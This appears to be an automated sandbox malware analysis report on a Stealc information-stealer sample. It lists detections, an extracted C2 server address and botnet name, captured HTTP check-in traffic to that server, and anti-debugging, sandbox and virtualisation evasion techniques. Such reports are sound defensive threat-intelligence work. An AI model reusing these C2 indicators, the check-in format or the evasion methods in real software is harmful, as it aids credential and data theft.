Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523127
MD5:	e12dff26d257800a0f411dda1fdb521f
SHA1:	ed660b5a175dce979ca5e77f13d2e89b2c8aaadc
SHA256:	e082f507be5674e4813a6f32759c2551bfedea8e298082cab225b787b6e89d60
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3168 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E12DFF26D257800A0F411DDA1FDB521F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1713881816.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1673353364.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3168	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3168	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.fb0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T06:56:59.379515+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.fb0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/ws	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php0	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpW	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 43%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00FBC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00FB9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00FB7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00FB9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00FC8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FBE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00FC4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FBED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00FC3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBDE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 43 41 44 32 37 46 37 33 32 34 37 39 36 39 32 32 37 39 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="hwid"B3CAD27F7324796922796------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="build"doma------IIIECAAKECFHIECBKJDH--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00FB4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 43 41 44 32 37 46 37 33 32 34 37 39 36 39 32 32 37 39 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="hwid"B3CAD27F7324796922796------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="build"doma------IIIECAAKECFHIECBKJDH--

Source: file.exe, 00000000.00000002.1713881816.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1713881816.0000000000CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1713881816.0000000000CB2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1713881816.0000000000CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1713881816.0000000000CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0
Source: file.exe, 00000000.00000002.1713881816.0000000000CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpW
Source: file.exe, 00000000.00000002.1713881816.0000000000CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124611F	0_2_0124611F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144A102	0_2_0144A102
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0130F1B8	0_2_0130F1B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137999B	0_2_0137999B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137E9E5	0_2_0137E9E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01225806	0_2_01225806
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013888E6	0_2_013888E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01374B43	0_2_01374B43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137B39E	0_2_0137B39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01347B98	0_2_01347B98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0133E2E6	0_2_0133E2E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0132DAEF	0_2_0132DAEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01383AE6	0_2_01383AE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F42D8	0_2_012F42D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013765B6	0_2_013765B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01385DE7	0_2_01385DE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01279E67	0_2_01279E67

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00FB45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mbunfolu ZLIB complexity 0.9947512735705596

Source: file.exe, 00000000.00000003.1673353364.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00FC8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00FC3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\MZENU7VC.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 43%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1840128 > 1048576

Source: file.exe

Static PE information: Raw size of mbunfolu is bigger than: 0x100000 < 0x19b000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.fb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mbunfolu:EW;qktpvyhd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mbunfolu:EW;qktpvyhd:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00FC9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cade3 should be: 0x1c4d0a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mbunfolu
Source: file.exe	Static PE information: section name: qktpvyhd
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0142C168 push ebx; mov dword ptr [esp], ecx	0_2_0142C1AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0141316F push ebp; mov dword ptr [esp], edx	0_2_01413164
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0141316F push ebx; mov dword ptr [esp], eax	0_2_014131A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124611F push 73138423h; mov dword ptr [esp], esi	0_2_01246145
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124611F push ecx; mov dword ptr [esp], ebp	0_2_0124619F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124611F push ebp; mov dword ptr [esp], ecx	0_2_012461A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124611F push 7381BCCCh; mov dword ptr [esp], esi	0_2_0124626F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0124611F push ebp; mov dword ptr [esp], esi	0_2_012462B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144A102 push esi; mov dword ptr [esp], eax	0_2_0144A235
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144A102 push edi; mov dword ptr [esp], edx	0_2_0144A291
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144A102 push esi; mov dword ptr [esp], ecx	0_2_0144A2EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0144A102 push 54A12CFEh; mov dword ptr [esp], ebx	0_2_0144A395
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01422905 push 44371931h; mov dword ptr [esp], ecx	0_2_01422929
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0141B91D push 093A3CD1h; mov dword ptr [esp], esi	0_2_0141B949
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0140011E push ecx; mov dword ptr [esp], 63E29DD9h	0_2_014001CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0140011E push eax; mov dword ptr [esp], ebp	0_2_01400264
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0140011E push edi; mov dword ptr [esp], edx	0_2_01400270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146A13E push ebx; mov dword ptr [esp], ecx	0_2_0146A142
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139D1B8 push ebx; mov dword ptr [esp], esi	0_2_0139F0DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014331C5 push 71402349h; mov dword ptr [esp], ecx	0_2_014331EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0130F1B8 push eax; mov dword ptr [esp], edx	0_2_0130F268
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014279CF push ebx; mov dword ptr [esp], edx	0_2_014279FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014279CF push esi; mov dword ptr [esp], eax	0_2_01427A1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0145B9DF push 06529C62h; mov dword ptr [esp], esi	0_2_0145BA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0145B9DF push ecx; mov dword ptr [esp], edi	0_2_0145BA54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0142C9DE push ecx; mov dword ptr [esp], esi	0_2_0142CA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0142C9DE push 13DE3139h; mov dword ptr [esp], ebx	0_2_0142CAC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013F219F push edx; mov dword ptr [esp], 72D047CFh	0_2_013F220E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01392998 push edi; mov dword ptr [esp], ebp	0_2_01392A72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013E119D push edx; mov dword ptr [esp], esi	0_2_013E11DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137999B push esi; mov dword ptr [esp], ebx	0_2_013799A9

Source: file.exe

Static PE information: section name: mbunfolu entropy: 7.952881013739973

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00FC9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13367

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D7EE second address: 138D7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D7F8 second address: 138D804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D804 second address: 138D81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A4C18F9Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D81C second address: 138D820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372B0B second address: 1372B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA8h 0x00000007 jc 00007F65A4C18F96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372B2D second address: 1372B62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edx 0x00000008 jmp 00007F65A45025A8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F65A45025A1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372B62 second address: 1372B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Eh 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnc 00007F65A4C18F96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138CA03 second address: 138CA0F instructions: 0x00000000 rdtsc 0x00000002 js 00007F65A450259Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
